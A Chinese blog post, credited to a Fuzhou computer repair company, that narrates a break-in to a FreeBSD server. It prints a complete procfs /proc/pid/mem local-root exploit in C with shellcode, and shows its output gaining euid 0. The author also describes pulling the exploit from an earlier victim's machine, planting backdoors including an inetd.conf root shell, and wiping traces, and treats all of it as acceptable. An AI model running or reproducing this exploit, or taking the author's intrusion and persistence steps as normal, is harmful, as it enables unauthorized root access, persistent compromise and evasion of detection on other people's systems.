我是怎么进入他人计算机的
这下方便了……可以直接传代码上来试……试了几个之后我找到这么个工具:
/* by Nergal */
#include
#include
#include
#include
#include
#include
#include
#include
#include
char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
偶说一下这个漏洞的由来吧:
早在1997年在*BSD里就发现了一个致命漏洞存在于procfs可以招致本地用户夺取root权限,*BSD核心中做了简单的修补,但不幸的是,时至本日,我们仍旧可以通过对/proc/pid/mem的操纵夺取root权限……当然,要利用这个程序拿ROOT,procfs文件系统必须是mounted的,在默许的FreeBSD3.3里是mounted着的。我们先来看看这台呆板上的环境怎样,别白忙一场……
> /sbin/mount
/dev/wd0s1a on / (local, writes: sync 12 async 134)
/dev/wd0s1h on /home (local, writes: sync 2 async 120)
/dev/wd0s1f on /usr (local, writes: sync 2 async 93)
/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
/dev/wd0s1e on /var (local, writes: sync 118 async 498)
procfs on /proc (local)
呵呵不错,看到没有那procfs on字样?看来老天帮助了……
一个无特权的历程A自我挪用子历程B,A翻开/proc/pid-of-B/mem,B执行一个setuid的二进制程序,如今B与A的euid曾经不同了,但A仍旧通过/proc/pid-of-B/mem的形貌符控制B历程,就可能做很多事了……
In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
((p2)->p_flag & P_SUGID) == 0) || \
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as
target process (p2), unless... p1 has root priviledges. So, if
we can trick a setuid program X into writing to a file descriptor
F referring to a procfs object, the above check will not prevent
X from writing. As some of readers certainly already have guessed,
F's number will be 2, stderr fileno... We can pass to a setuid
program an appropriately lseeked file descriptor no 2 (pointing to
some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g.
contains program's name), so we can write almost arbitrary data
onto other setuid program's memory.
This scenario looks similar to
close(fileno(stderr)); execl("setuid-program",...)
exploits, but in fact differs profoundly. It exploits the fact
that the properties of a fd pointing into procfs is not
determined fully by "open" syscall (all other fd are; skipping
issues related to securelevels). These properties can change
because of priviledged code execution. As a result, (priviledged)
children of some process P can inherit a fd opened read-write,
though P can't directly gain such fd via open syscall.
懒得把它弄成中文的了……感兴趣则看,不感兴趣就跳过吧……
好,那就把漏洞利用程序rcp过去吧
>rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/
此中***.***.***.**因此前的一个倒霉蛋,/下被加了+ +的家伙……
编译运转——可能得对程序做一些小小的变动……
>gcc pcnfs.c -o p
>./p -4000 -10000
shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
Wait for "Press return" prompt:
New password:
Press return.
id
uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)
wowowo!我是root啦……哈哈,也便是说,俺如今在这个系统里可以为所欲为了……
再尝尝对/home/www目次有没有写权限吧……
echo test>/home/www/test.txt;ls /home/www|grep test
test.txt
呵,好了,大功乐成……一样平常环境下做到这步后你原来修正主页的欲望就会散失了,毕竟我们不因此破坏系统为乐的人,我们只是希望网络社会更加健康,以是——俺也没改什么工具,只是留了几个后门就bye-bye了……咱没有太多的系统可供学习,只幸亏这些长途呆板上多学多看了——以是,留个后门照旧须要的啦。
当然擦脚印等等活照旧要干的,让人发现系统曾经有人实验过入侵原形不是一件功德。万事OK后就可以走人了。
这个root有重新启动系统的坏风俗,三天后我再登上系统时,发现
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)
呵,看来往/etc/inetd.conf里加的shell由root大人本身启动了……至于这个系统,实在它有安装防火墙软件的,要不是此中有一个用户偷懒,照旧很难入侵乐成的……希望这对国内的办理员也是一个警示吧,因为国内的网络安全状况实在照旧不容悲观……
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
上一篇: 制作邮件网页木马
下一篇: 通过代理使用3389,radmin的方法